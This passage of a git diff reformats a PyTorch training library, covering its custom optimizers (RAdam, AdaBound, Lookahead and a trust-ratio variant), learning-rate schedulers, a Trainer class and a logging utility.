defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay)
super().__init__(params, defaults)
-
+
def step(self, closure=None):
loss = None
if closure is not None:
loss = closure()
-
+
for group in self.param_groups:
- for p in group['params']:
+ for p in group["params"]:
if p.grad is None:
continue
-
+
grad = p.grad.data
state = self.state[p]
-
+
if len(state) == 0:
- state['step'] = 0
- state['exp_avg'] = torch.zeros_like(p.data)
- state['exp_avg_sq'] = torch.zeros_like(p.data)
-
- exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
- beta1, beta2 = group['betas']
- state['step'] += 1
-
+ state["step"] = 0
+ state["exp_avg"] = torch.zeros_like(p.data)
+ state["exp_avg_sq"] = torch.zeros_like(p.data)
+
+ exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"]
+ beta1, beta2 = group["betas"]
+ state["step"] += 1
+
exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1)
exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2)
-
- bias_correction1 = 1 - beta1 ** state['step']
- bias_correction2 = 1 - beta2 ** state['step']
-
+
+ bias_correction1 = 1 - beta1 ** state["step"]
+ bias_correction2 = 1 - beta2 ** state["step"]
+
exp_avg_hat = exp_avg / bias_correction1
exp_avg_sq_hat = exp_avg_sq / bias_correction2
-
- update = exp_avg_hat / (exp_avg_sq_hat.sqrt() + group['eps'])
- update.add_(p.data, alpha=group['weight_decay'])
-
+
+ update = exp_avg_hat / (exp_avg_sq_hat.sqrt() + group["eps"])
+ update.add_(p.data, alpha=group["weight_decay"])
+
weight_norm = p.data.norm()
update_norm = update.norm()
-
+
if weight_norm > 0 and update_norm > 0:
trust_ratio = weight_norm / update_norm
else:
trust_ratio = 1.0
-
- p.data.add_(update, alpha=-group['lr'] * trust_ratio)
-
+
+ p.data.add_(update, alpha=-group["lr"] * trust_ratio)
+
return loss
+
class RAdam(Optimizer):
def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0):
defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay)
super().__init__(params, defaults)
-
+
def step(self, closure=None):
loss = None
if closure is not None:
loss = closure()
-
+
for group in self.param_groups:
- for p in group['params']:
+ for p in group["params"]:
if p.grad is None:
continue
-
+
grad = p.grad.data
state = self.state[p]
-
+
if len(state) == 0:
- state['step'] = 0
- state['exp_avg'] = torch.zeros_like(p.data)
- state['exp_avg_sq'] = torch.zeros_like(p.data)
-
- exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
- beta1, beta2 = group['betas']
- state['step'] += 1
-
+ state["step"] = 0
+ state["exp_avg"] = torch.zeros_like(p.data)
+ state["exp_avg_sq"] = torch.zeros_like(p.data)
+
+ exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"]
+ beta1, beta2 = group["betas"]
+ state["step"] += 1
+
exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1)
exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2)
-
+
buffered = [[None, None, None] for _ in range(10)]
-
+
rho_inf = 2 / (1 - beta2) - 1
- rho_t = rho_inf - 2 * state['step'] * (beta2 ** state['step']) / (1 - beta2 ** state['step'])
-
+ rho_t = rho_inf - 2 * state["step"] * (beta2 ** state["step"]) / (
+ 1 - beta2 ** state["step"]
+ )
+
if rho_t > 4:
- bias_correction1 = 1 - beta1 ** state['step']
- bias_correction2 = 1 - beta2 ** state['step']
-
+ bias_correction1 = 1 - beta1 ** state["step"]
+ bias_correction2 = 1 - beta2 ** state["step"]
+
rt = math.sqrt(
- (rho_t - 4) * (rho_t - 2) * rho_inf / ((rho_inf - 4) * (rho_inf - 2) * rho_t)
+ (rho_t - 4)
+ * (rho_t - 2)
+ * rho_inf
+ / ((rho_inf - 4) * (rho_inf - 2) * rho_t)
+ )
+
+ denom = (exp_avg_sq.sqrt() / math.sqrt(bias_correction2)).add_(
+ group["eps"]
)
-
- denom = (exp_avg_sq.sqrt() / math.sqrt(bias_correction2)).add_(group['eps'])
- step_size = group['lr'] * rt / bias_correction1
-
+ step_size = group["lr"] * rt / bias_correction1
+
p.data.addcdiv_(exp_avg, denom, value=-step_size)
else:
- bias_correction1 = 1 - beta1 ** state['step']
- step_size = group['lr'] / bias_correction1
+ bias_correction1 = 1 - beta1 ** state["step"]
+ step_size = group["lr"] / bias_correction1
p.data.add_(exp_avg, alpha=-step_size)
-
- if group['weight_decay'] != 0:
- p.data.add_(p.data, alpha=-group['weight_decay'] * group['lr'])
-
+
+ if group["weight_decay"] != 0:
+ p.data.add_(p.data, alpha=-group["weight_decay"] * group["lr"])
+
return loss
+
class AdaBound(Optimizer):
- def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), final_lr=0.1, gamma=1e-3, eps=1e-8, weight_decay=0):
- defaults = dict(lr=lr, betas=betas, final_lr=final_lr, gamma=gamma, eps=eps, weight_decay=weight_decay)
+ def __init__(
+ self,
+ params,
+ lr=1e-3,
+ betas=(0.9, 0.999),
+ final_lr=0.1,
+ gamma=1e-3,
+ eps=1e-8,
+ weight_decay=0,
+ ):
+ defaults = dict(
+ lr=lr,
+ betas=betas,
+ final_lr=final_lr,
+ gamma=gamma,
+ eps=eps,
+ weight_decay=weight_decay,
+ )
super().__init__(params, defaults)
-
+
def step(self, closure=None):
loss = None
if closure is not None:
loss = closure()
-
+
for group in self.param_groups:
- for p in group['params']:
+ for p in group["params"]:
if p.grad is None:
continue
-
+
grad = p.grad.data
state = self.state[p]
-
+
if len(state) == 0:
- state['step'] = 0
- state['exp_avg'] = torch.zeros_like(p.data)
- state['exp_avg_sq'] = torch.zeros_like(p.data)
-
- exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
- beta1, beta2 = group['betas']
- state['step'] += 1
-
- if group['weight_decay'] != 0:
- grad.add_(p.data, alpha=group['weight_decay'])
-
+ state["step"] = 0
+ state["exp_avg"] = torch.zeros_like(p.data)
+ state["exp_avg_sq"] = torch.zeros_like(p.data)
+
+ exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"]
+ beta1, beta2 = group["betas"]
+ state["step"] += 1
+
+ if group["weight_decay"] != 0:
+ grad.add_(p.data, alpha=group["weight_decay"])
+
exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1)
exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2)
-
- bias_correction1 = 1 - beta1 ** state['step']
- bias_correction2 = 1 - beta2 ** state['step']
-
- step_size = group['lr'] * math.sqrt(bias_correction2) / bias_correction1
-
- final_lr = group['final_lr'] * group['lr'] / group['lr']
- lower_bound = final_lr * (1 - 1 / (group['gamma'] * state['step'] + 1))
- upper_bound = final_lr * (1 + 1 / (group['gamma'] * state['step']))
-
- denom = exp_avg_sq.sqrt().add_(group['eps'])
- step_size_clipped = torch.full_like(denom, step_size).div_(denom).clamp_(lower_bound, upper_bound).mul_(exp_avg)
-
+
+ bias_correction1 = 1 - beta1 ** state["step"]
+ bias_correction2 = 1 - beta2 ** state["step"]
+
+ step_size = group["lr"] * math.sqrt(bias_correction2) / bias_correction1
+
+ final_lr = group["final_lr"] * group["lr"] / group["lr"]
+ lower_bound = final_lr * (1 - 1 / (group["gamma"] * state["step"] + 1))
+ upper_bound = final_lr * (1 + 1 / (group["gamma"] * state["step"]))
+
+ denom = exp_avg_sq.sqrt().add_(group["eps"])
+ step_size_clipped = (
+ torch.full_like(denom, step_size)
+ .div_(denom)
+ .clamp_(lower_bound, upper_bound)
+ .mul_(exp_avg)
+ )
+
p.data.add_(step_size_clipped, alpha=-1)
-
+
return loss
+
class Lookahead(Optimizer):
def __init__(self, optimizer, k=5, alpha=0.5):
self.optimizer = optimizer
@@ -230,37 +276,37 @@ def __init__(self, optimizer, k=5, alpha=0.5):
self.alpha = alpha
self.param_groups = self.optimizer.param_groups
self.state = {}
-
+
for group in self.param_groups:
- group['counter'] = 0
-
+ group["counter"] = 0
+
def update(self, group):
- for fast_p in group['params']:
+ for fast_p in group["params"]:
if fast_p.grad is None:
continue
param_state = self.state[fast_p]
- if 'slow_buffer' not in param_state:
- param_state['slow_buffer'] = torch.empty_like(fast_p.data)
- param_state['slow_buffer'].copy_(fast_p.data)
-
- slow = param_state['slow_buffer']
+ if "slow_buffer" not in param_state:
+ param_state["slow_buffer"] = torch.empty_like(fast_p.data)
+ param_state["slow_buffer"].copy_(fast_p.data)
+
+ slow = param_state["slow_buffer"]
slow.add_(fast_p.data - slow, alpha=self.alpha)
fast_p.data.copy_(slow)
-
+
def step(self, closure=None):
loss = self.optimizer.step(closure)
-
+
for group in self.param_groups:
- group['counter'] += 1
- if group['counter'] >= self.k:
+ group["counter"] += 1
+ if group["counter"] >= self.k:
self.update(group)
- group['counter'] = 0
-
+ group["counter"] = 0
+
return loss
-
+
def state_dict(self):
return {
- 'state': self.state,
- 'optimizer': self.optimizer.state_dict(),
- 'param_groups': self.param_groups,
+ "state": self.state,
+ "optimizer": self.optimizer.state_dict(),
+ "param_groups": self.param_groups,
}
diff --git a/ML/src/python/neuralforge/optim/schedulers.py b/ML/src/python/neuralforge/optim/schedulers.py
index 63f05aa6637..4c3a6e5e46d 100644
--- a/ML/src/python/neuralforge/optim/schedulers.py
+++ b/ML/src/python/neuralforge/optim/schedulers.py
@@ -1,28 +1,33 @@
-import torch
-from torch.optim.lr_scheduler import _LRScheduler
import math
+from torch.optim.lr_scheduler import _LRScheduler
+
+
class WarmupScheduler(_LRScheduler):
def __init__(self, optimizer, warmup_epochs, base_scheduler=None, last_epoch=-1):
self.warmup_epochs = warmup_epochs
self.base_scheduler = base_scheduler
super().__init__(optimizer, last_epoch)
-
+
def get_lr(self):
if self.last_epoch < self.warmup_epochs:
- return [base_lr * (self.last_epoch + 1) / self.warmup_epochs for base_lr in self.base_lrs]
-
+ return [
+ base_lr * (self.last_epoch + 1) / self.warmup_epochs
+ for base_lr in self.base_lrs
+ ]
+
if self.base_scheduler is not None:
return self.base_scheduler.get_last_lr()
-
+
return self.base_lrs
-
+
def step(self, epoch=None):
if self.last_epoch < self.warmup_epochs:
super().step(epoch)
elif self.base_scheduler is not None:
self.base_scheduler.step(epoch)
+
class CosineAnnealingWarmRestarts(_LRScheduler):
def __init__(self, optimizer, T_0, T_mult=1, eta_min=0, last_epoch=-1):
self.T_0 = T_0
@@ -31,13 +36,16 @@ def __init__(self, optimizer, T_0, T_mult=1, eta_min=0, last_epoch=-1):
self.T_cur = last_epoch
self.T_i = T_0
super().__init__(optimizer, last_epoch)
-
+
def get_lr(self):
return [
- self.eta_min + (base_lr - self.eta_min) * (1 + math.cos(math.pi * self.T_cur / self.T_i)) / 2
+ self.eta_min
+ + (base_lr - self.eta_min)
+ * (1 + math.cos(math.pi * self.T_cur / self.T_i))
+ / 2
for base_lr in self.base_lrs
]
-
+
def step(self, epoch=None):
if epoch is None:
epoch = self.last_epoch + 1
@@ -47,96 +55,154 @@ def step(self, epoch=None):
self.T_i = self.T_i * self.T_mult
else:
if epoch < 0:
- raise ValueError("Expected non-negative epoch, but got {}".format(epoch))
+ raise ValueError(
+ "Expected non-negative epoch, but got {}".format(epoch)
+ )
if epoch >= self.T_0:
if self.T_mult == 1:
self.T_cur = epoch % self.T_0
else:
- n = int(math.log((epoch / self.T_0 * (self.T_mult - 1) + 1), self.T_mult))
- self.T_cur = epoch - self.T_0 * (self.T_mult ** n - 1) / (self.T_mult - 1)
- self.T_i = self.T_0 * self.T_mult ** n
+ n = int(
+ math.log(
+ (epoch / self.T_0 * (self.T_mult - 1) + 1), self.T_mult
+ )
+ )
+ self.T_cur = epoch - self.T_0 * (self.T_mult**n - 1) / (
+ self.T_mult - 1
+ )
+ self.T_i = self.T_0 * self.T_mult**n
else:
self.T_i = self.T_0
self.T_cur = epoch
-
+
self.last_epoch = math.floor(epoch)
-
+
for param_group, lr in zip(self.optimizer.param_groups, self.get_lr()):
- param_group['lr'] = lr
+ param_group["lr"] = lr
+
class OneCycleLR(_LRScheduler):
- def __init__(self, optimizer, max_lr, total_steps, pct_start=0.3, anneal_strategy='cos',
- div_factor=25.0, final_div_factor=1e4, last_epoch=-1):
- self.max_lr = max_lr if isinstance(max_lr, list) else [max_lr] * len(optimizer.param_groups)
+ def __init__(
+ self,
+ optimizer,
+ max_lr,
+ total_steps,
+ pct_start=0.3,
+ anneal_strategy="cos",
+ div_factor=25.0,
+ final_div_factor=1e4,
+ last_epoch=-1,
+ ):
+ self.max_lr = (
+ max_lr
+ if isinstance(max_lr, list)
+ else [max_lr] * len(optimizer.param_groups)
+ )
self.total_steps = total_steps
self.pct_start = pct_start
self.anneal_strategy = anneal_strategy
self.div_factor = div_factor
self.final_div_factor = final_div_factor
-
+
self.initial_lr = [lr / self.div_factor for lr in self.max_lr]
self.min_lr = [lr / self.final_div_factor for lr in self.max_lr]
-
+
super().__init__(optimizer, last_epoch)
-
+
def get_lr(self):
step_num = self.last_epoch
-
+
if step_num > self.total_steps:
return self.min_lr
-
+
if step_num <= self.pct_start * self.total_steps:
pct = step_num / (self.pct_start * self.total_steps)
- return [initial + (maximum - initial) * pct
- for initial, maximum in zip(self.initial_lr, self.max_lr)]
+ return [
+ initial + (maximum - initial) * pct
+ for initial, maximum in zip(self.initial_lr, self.max_lr)
+ ]
else:
- pct = (step_num - self.pct_start * self.total_steps) / ((1 - self.pct_start) * self.total_steps)
-
- if self.anneal_strategy == 'cos':
- return [minimum + (maximum - minimum) * (1 + math.cos(math.pi * pct)) / 2
- for minimum, maximum in zip(self.min_lr, self.max_lr)]
+ pct = (step_num - self.pct_start * self.total_steps) / (
+ (1 - self.pct_start) * self.total_steps
+ )
+
+ if self.anneal_strategy == "cos":
+ return [
+ minimum + (maximum - minimum) * (1 + math.cos(math.pi * pct)) / 2
+ for minimum, maximum in zip(self.min_lr, self.max_lr)
+ ]
else:
- return [maximum - (maximum - minimum) * pct
- for minimum, maximum in zip(self.min_lr, self.max_lr)]
+ return [
+ maximum - (maximum - minimum) * pct
+ for minimum, maximum in zip(self.min_lr, self.max_lr)
+ ]
+
class PolynomialLR(_LRScheduler):
def __init__(self, optimizer, total_iters, power=1.0, last_epoch=-1):
self.total_iters = total_iters
self.power = power
super().__init__(optimizer, last_epoch)
-
+
def get_lr(self):
if self.last_epoch == 0 or self.last_epoch > self.total_iters:
- return [group['lr'] for group in self.optimizer.param_groups]
-
- decay_factor = ((1.0 - self.last_epoch / self.total_iters) / (1.0 - (self.last_epoch - 1) / self.total_iters)) ** self.power
- return [group['lr'] * decay_factor for group in self.optimizer.param_groups]
+ return [group["lr"] for group in self.optimizer.param_groups]
+
+ decay_factor = (
+ (1.0 - self.last_epoch / self.total_iters)
+ / (1.0 - (self.last_epoch - 1) / self.total_iters)
+ ) ** self.power
+ return [group["lr"] * decay_factor for group in self.optimizer.param_groups]
+
class LinearWarmupCosineAnnealingLR(_LRScheduler):
- def __init__(self, optimizer, warmup_epochs, max_epochs, warmup_start_lr=0.0, eta_min=0.0, last_epoch=-1):
+ def __init__(
+ self,
+ optimizer,
+ warmup_epochs,
+ max_epochs,
+ warmup_start_lr=0.0,
+ eta_min=0.0,
+ last_epoch=-1,
+ ):
self.warmup_epochs = warmup_epochs
self.max_epochs = max_epochs
self.warmup_start_lr = warmup_start_lr
self.eta_min = eta_min
super().__init__(optimizer, last_epoch)
-
+
def get_lr(self):
if self.last_epoch < self.warmup_epochs:
alpha = self.last_epoch / self.warmup_epochs
- return [self.warmup_start_lr + (base_lr - self.warmup_start_lr) * alpha for base_lr in self.base_lrs]
+ return [
+ self.warmup_start_lr + (base_lr - self.warmup_start_lr) * alpha
+ for base_lr in self.base_lrs
+ ]
else:
- progress = (self.last_epoch - self.warmup_epochs) / (self.max_epochs - self.warmup_epochs)
- return [self.eta_min + (base_lr - self.eta_min) * 0.5 * (1.0 + math.cos(math.pi * progress))
- for base_lr in self.base_lrs]
+ progress = (self.last_epoch - self.warmup_epochs) / (
+ self.max_epochs - self.warmup_epochs
+ )
+ return [
+ self.eta_min
+ + (base_lr - self.eta_min) * 0.5 * (1.0 + math.cos(math.pi * progress))
+ for base_lr in self.base_lrs
+ ]
+
class ExponentialWarmup(_LRScheduler):
def __init__(self, optimizer, warmup_epochs, gamma=0.9, last_epoch=-1):
self.warmup_epochs = warmup_epochs
self.gamma = gamma
super().__init__(optimizer, last_epoch)
-
+
def get_lr(self):
if self.last_epoch < self.warmup_epochs:
- return [base_lr * (self.last_epoch + 1) / self.warmup_epochs for base_lr in self.base_lrs]
-
- return [base_lr * self.gamma ** (self.last_epoch - self.warmup_epochs) for base_lr in self.base_lrs]
\ No newline at end of file
+ return [
+ base_lr * (self.last_epoch + 1) / self.warmup_epochs
+ for base_lr in self.base_lrs
+ ]
+
+ return [
+ base_lr * self.gamma ** (self.last_epoch - self.warmup_epochs)
+ for base_lr in self.base_lrs
+ ]
diff --git a/ML/src/python/neuralforge/trainer.py b/ML/src/python/neuralforge/trainer.py
index 423d45b2f2e..a196a35eb46 100644
--- a/ML/src/python/neuralforge/trainer.py
+++ b/ML/src/python/neuralforge/trainer.py
@@ -1,14 +1,17 @@
+import os
+import time
+from typing import Any, Dict, Optional
+
import torch
-import torch.nn as nn
import torch.amp as amp
+import torch.nn as nn
from torch.utils.data import DataLoader
-from typing import Optional, Dict, Any, Callable
-import time
-import os
from tqdm import tqdm
+
+from .config import Config
from .utils.logger import Logger
from .utils.metrics import MetricsTracker
-from .config import Config
+
class Trainer:
def __init__(
@@ -20,7 +23,7 @@ def __init__(
criterion: nn.Module,
config: Config,
scheduler: Optional[Any] = None,
- device: Optional[str] = None
+ device: Optional[str] = None,
):
self.model = model
self.train_loader = train_loader
@@ -30,130 +33,147 @@ def __init__(
self.config = config
self.scheduler = scheduler
self.device = device or config.device
-
+
self.model.to(self.device)
-
- self.scaler = amp.GradScaler('cuda') if config.use_amp and self.device == 'cuda' else None
+
+ self.scaler = (
+ amp.GradScaler("cuda") if config.use_amp and self.device == "cuda" else None
+ )
self.logger = Logger(config.log_dir, config.model_name)
self.metrics = MetricsTracker()
-
+
self.current_epoch = 0
self.global_step = 0
- self.best_val_loss = float('inf')
-
+ self.best_val_loss = float("inf")
+
os.makedirs(config.model_dir, exist_ok=True)
-
+
self.logger.info(f"Trainer initialized with device: {self.device}")
- self.logger.info(f"Model parameters: {sum(p.numel() for p in model.parameters()):,}")
- self.logger.info(f"Trainable parameters: {sum(p.numel() for p in model.parameters() if p.requires_grad):,}")
-
+ self.logger.info(
+ f"Model parameters: {sum(p.numel() for p in model.parameters()):,}"
+ )
+ self.logger.info(
+ f"Trainable parameters: {sum(p.numel() for p in model.parameters() if p.requires_grad):,}"
+ )
+
def train_epoch(self) -> Dict[str, float]:
self.model.train()
epoch_loss = 0.0
correct = 0
total = 0
-
- pbar = tqdm(self.train_loader, desc=f"Epoch {self.current_epoch + 1}/{self.config.epochs}")
-
+
+ pbar = tqdm(
+ self.train_loader,
+ desc=f"Epoch {self.current_epoch + 1}/{self.config.epochs}",
+ )
+
for batch_idx, (inputs, targets) in enumerate(pbar):
inputs = inputs.to(self.device, non_blocking=True)
targets = targets.to(self.device, non_blocking=True)
-
+
self.optimizer.zero_grad(set_to_none=True)
-
+
if self.scaler is not None:
- with amp.autocast('cuda'):
+ with amp.autocast("cuda"):
outputs = self.model(inputs)
loss = self.criterion(outputs, targets)
-
+
self.scaler.scale(loss).backward()
-
+
if self.config.grad_clip > 0:
self.scaler.unscale_(self.optimizer)
- torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.config.grad_clip)
-
+ torch.nn.utils.clip_grad_norm_(
+ self.model.parameters(), self.config.grad_clip
+ )
+
self.scaler.step(self.optimizer)
self.scaler.update()
else:
outputs = self.model(inputs)
loss = self.criterion(outputs, targets)
loss.backward()
-
+
if self.config.grad_clip > 0:
- torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.config.grad_clip)
-
+ torch.nn.utils.clip_grad_norm_(
+ self.model.parameters(), self.config.grad_clip
+ )
+
self.optimizer.step()
-
+
epoch_loss += loss.item()
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
-
+
self.global_step += 1
-
+
if batch_idx % 10 == 0:
- pbar.set_postfix({
- 'loss': f'{loss.item():.4f}',
- 'acc': f'{100. * correct / total:.2f}%'
- })
-
+ pbar.set_postfix(
+ {
+ "loss": f"{loss.item():.4f}",
+ "acc": f"{100.0 * correct / total:.2f}%",
+ }
+ )
+
avg_loss = epoch_loss / len(self.train_loader)
- accuracy = 100. * correct / total
-
- return {'loss': avg_loss, 'accuracy': accuracy}
-
+ accuracy = 100.0 * correct / total
+
+ return {"loss": avg_loss, "accuracy": accuracy}
+
def validate(self) -> Dict[str, float]:
if self.val_loader is None:
return {}
-
+
self.model.eval()
val_loss = 0.0
correct = 0
total = 0
-
+
with torch.no_grad():
for inputs, targets in tqdm(self.val_loader, desc="Validation"):
inputs = inputs.to(self.device, non_blocking=True)
targets = targets.to(self.device, non_blocking=True)
-
+
if self.scaler is not None:
- with amp.autocast('cuda'):
+ with amp.autocast("cuda"):
outputs = self.model(inputs)
loss = self.criterion(outputs, targets)
else:
outputs = self.model(inputs)
loss = self.criterion(outputs, targets)
-
+
val_loss += loss.item()
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
-
+
avg_loss = val_loss / len(self.val_loader)
- accuracy = 100. * correct / total
-
- return {'loss': avg_loss, 'accuracy': accuracy}
-
+ accuracy = 100.0 * correct / total
+
+ return {"loss": avg_loss, "accuracy": accuracy}
+
def train(self):
self.logger.info("Starting training...")
start_time = time.time()
-
+
for epoch in range(self.config.epochs):
self.current_epoch = epoch
epoch_start = time.time()
-
+
train_metrics = self.train_epoch()
val_metrics = self.validate()
-
+
if self.scheduler is not None:
- if isinstance(self.scheduler, torch.optim.lr_scheduler.ReduceLROnPlateau):
- self.scheduler.step(val_metrics.get('loss', train_metrics['loss']))
+ if isinstance(
+ self.scheduler, torch.optim.lr_scheduler.ReduceLROnPlateau
+ ):
+ self.scheduler.step(val_metrics.get("loss", train_metrics["loss"]))
else:
self.scheduler.step()
-
- current_lr = self.optimizer.param_groups[0]['lr']
+
+ current_lr = self.optimizer.param_groups[0]["lr"]
epoch_time = time.time() - epoch_start
-
+
self.logger.info(
f"Epoch {epoch + 1}/{self.config.epochs} | "
f"Train Loss: {train_metrics['loss']:.4f} | "
@@ -163,94 +183,98 @@ def train(self):
f"LR: {current_lr:.6f} | "
f"Time: {epoch_time:.2f}s"
)
-
- self.metrics.update({
- 'epoch': epoch + 1,
- 'train_loss': train_metrics['loss'],
- 'train_acc': train_metrics['accuracy'],
- 'val_loss': val_metrics.get('loss', 0),
- 'val_acc': val_metrics.get('accuracy', 0),
- 'lr': current_lr,
- 'time': epoch_time
- })
-
+
+ self.metrics.update(
+ {
+ "epoch": epoch + 1,
+ "train_loss": train_metrics["loss"],
+ "train_acc": train_metrics["accuracy"],
+ "val_loss": val_metrics.get("loss", 0),
+ "val_acc": val_metrics.get("accuracy", 0),
+ "lr": current_lr,
+ "time": epoch_time,
+ }
+ )
+
if (epoch + 1) % self.config.checkpoint_freq == 0:
- self.save_checkpoint(f'checkpoint_epoch_{epoch + 1}.pt')
-
- if val_metrics and val_metrics['loss'] < self.best_val_loss:
- self.best_val_loss = val_metrics['loss']
- self.save_checkpoint('best_model.pt')
- self.logger.info(f"New best model saved with val_loss: {self.best_val_loss:.4f}")
-
+ self.save_checkpoint(f"checkpoint_epoch_{epoch + 1}.pt")
+
+ if val_metrics and val_metrics["loss"] < self.best_val_loss:
+ self.best_val_loss = val_metrics["loss"]
+ self.save_checkpoint("best_model.pt")
+ self.logger.info(
+ f"New best model saved with val_loss: {self.best_val_loss:.4f}"
+ )
+
total_time = time.time() - start_time
self.logger.info(f"Training completed in {total_time / 3600:.2f} hours")
-
- self.save_checkpoint('final_model.pt')
- self.metrics.save(os.path.join(self.config.log_dir, 'metrics.json'))
-
+
+ self.save_checkpoint("final_model.pt")
+ self.metrics.save(os.path.join(self.config.log_dir, "metrics.json"))
+
def save_checkpoint(self, filename: str):
checkpoint_path = os.path.join(self.config.model_dir, filename)
-
+
checkpoint = {
- 'epoch': self.current_epoch,
- 'global_step': self.global_step,
- 'model_state_dict': self.model.state_dict(),
- 'optimizer_state_dict': self.optimizer.state_dict(),
- 'best_val_loss': self.best_val_loss,
- 'config': self.config,
+ "epoch": self.current_epoch,
+ "global_step": self.global_step,
+ "model_state_dict": self.model.state_dict(),
+ "optimizer_state_dict": self.optimizer.state_dict(),
+ "best_val_loss": self.best_val_loss,
+ "config": self.config,
}
-
+
if self.scheduler is not None:
- checkpoint['scheduler_state_dict'] = self.scheduler.state_dict()
-
+ checkpoint["scheduler_state_dict"] = self.scheduler.state_dict()
+
if self.scaler is not None:
- checkpoint['scaler_state_dict'] = self.scaler.state_dict()
-
+ checkpoint["scaler_state_dict"] = self.scaler.state_dict()
+
torch.save(checkpoint, checkpoint_path)
self.logger.info(f"Checkpoint saved: {checkpoint_path}")
-
+
def load_checkpoint(self, checkpoint_path: str):
self.logger.info(f"Loading checkpoint: {checkpoint_path}")
checkpoint = torch.load(checkpoint_path, map_location=self.device)
-
- self.model.load_state_dict(checkpoint['model_state_dict'])
- self.optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
- self.current_epoch = checkpoint['epoch']
- self.global_step = checkpoint['global_step']
- self.best_val_loss = checkpoint['best_val_loss']
-
- if self.scheduler is not None and 'scheduler_state_dict' in checkpoint:
- self.scheduler.load_state_dict(checkpoint['scheduler_state_dict'])
-
- if self.scaler is not None and 'scaler_state_dict' in checkpoint:
- self.scaler.load_state_dict(checkpoint['scaler_state_dict'])
-
+
+ self.model.load_state_dict(checkpoint["model_state_dict"])
+ self.optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
+ self.current_epoch = checkpoint["epoch"]
+ self.global_step = checkpoint["global_step"]
+ self.best_val_loss = checkpoint["best_val_loss"]
+
+ if self.scheduler is not None and "scheduler_state_dict" in checkpoint:
+ self.scheduler.load_state_dict(checkpoint["scheduler_state_dict"])
+
+ if self.scaler is not None and "scaler_state_dict" in checkpoint:
+ self.scaler.load_state_dict(checkpoint["scaler_state_dict"])
+
self.logger.info(f"Checkpoint loaded from epoch {self.current_epoch}")
-
+
def test(self, test_loader: DataLoader) -> Dict[str, float]:
self.logger.info("Starting testing...")
self.model.eval()
-
+
test_loss = 0.0
correct = 0
total = 0
-
+
with torch.no_grad():
for inputs, targets in tqdm(test_loader, desc="Testing"):
inputs = inputs.to(self.device, non_blocking=True)
targets = targets.to(self.device, non_blocking=True)
-
+
outputs = self.model(inputs)
loss = self.criterion(outputs, targets)
-
+
test_loss += loss.item()
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
-
+
avg_loss = test_loss / len(test_loader)
- accuracy = 100. * correct / total
-
+ accuracy = 100.0 * correct / total
+
self.logger.info(f"Test Loss: {avg_loss:.4f} | Test Acc: {accuracy:.2f}%")
-
- return {'loss': avg_loss, 'accuracy': accuracy}
\ No newline at end of file
+
+ return {"loss": avg_loss, "accuracy": accuracy}
diff --git a/ML/src/python/neuralforge/utils/__init__.py b/ML/src/python/neuralforge/utils/__init__.py
index bfd8573a296..cfa1c4049f1 100644
--- a/ML/src/python/neuralforge/utils/__init__.py
+++ b/ML/src/python/neuralforge/utils/__init__.py
@@ -3,8 +3,8 @@
from .visualization import *
__all__ = [
- 'Logger',
- 'MetricsTracker',
- 'plot_training_curves',
- 'visualize_architecture',
-]
\ No newline at end of file
+ "Logger",
+ "MetricsTracker",
+ "plot_training_curves",
+ "visualize_architecture",
+]
diff --git a/ML/src/python/neuralforge/utils/logger.py b/ML/src/python/neuralforge/utils/logger.py
index 321b045aac6..641ec6c7284 100644
--- a/ML/src/python/neuralforge/utils/logger.py
+++ b/ML/src/python/neuralforge/utils/logger.py
@@ -1,72 +1,75 @@
+import logging
import os
import sys
-import logging
from datetime import datetime
from typing import Optional
+
class Logger:
def __init__(self, log_dir: str, name: str = "neuralforge"):
self.log_dir = log_dir
self.name = name
-
+
os.makedirs(log_dir, exist_ok=True)
-
+
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
log_file = os.path.join(log_dir, f"{name}_{timestamp}.log")
-
+
self.logger = logging.getLogger(name)
self.logger.setLevel(logging.INFO)
-
+
if self.logger.hasHandlers():
self.logger.handlers.clear()
-
+
file_handler = logging.FileHandler(log_file)
file_handler.setLevel(logging.INFO)
-
+
console_handler = logging.StreamHandler(sys.stdout)
console_handler.setLevel(logging.INFO)
-
+
formatter = logging.Formatter(
- '%(asctime)s - %(name)s - %(levelname)s - %(message)s',
- datefmt='%Y-%m-%d %H:%M:%S'
+ "%(asctime)s - %(name)s - %(levelname)s - %(message)s",
+ datefmt="%Y-%m-%d %H:%M:%S",
)
-
+
file_handler.setFormatter(formatter)
console_handler.setFormatter(formatter)
-
+
self.logger.addHandler(file_handler)
self.logger.addHandler(console_handler)
-
+
self.info(f"Logger initialized. Logging to: {log_file}")
-
+
def info(self, message: str):
self.logger.info(message)
-
+
def warning(self, message: str):
self.logger.warning(message)
-
+
def error(self, message: str):
self.logger.error(message)
-
+
def debug(self, message: str):
self.logger.debug(message)
-
+
def log_metrics(self, metrics: dict, step: Optional[int] = None):
if step is not None:
message = f"Step {step}: "
else:
message = "Metrics: "
-
- metric_strs = [f"{k}={v:.4f}" if isinstance(v, float) else f"{k}={v}"
- for k, v in metrics.items()]
+
+ metric_strs = [
+ f"{k}={v:.4f}" if isinstance(v, float) else f"{k}={v}"
+ for k, v in metrics.items()
+ ]
message += ", ".join(metric_strs)
-
+
self.info(message)
-
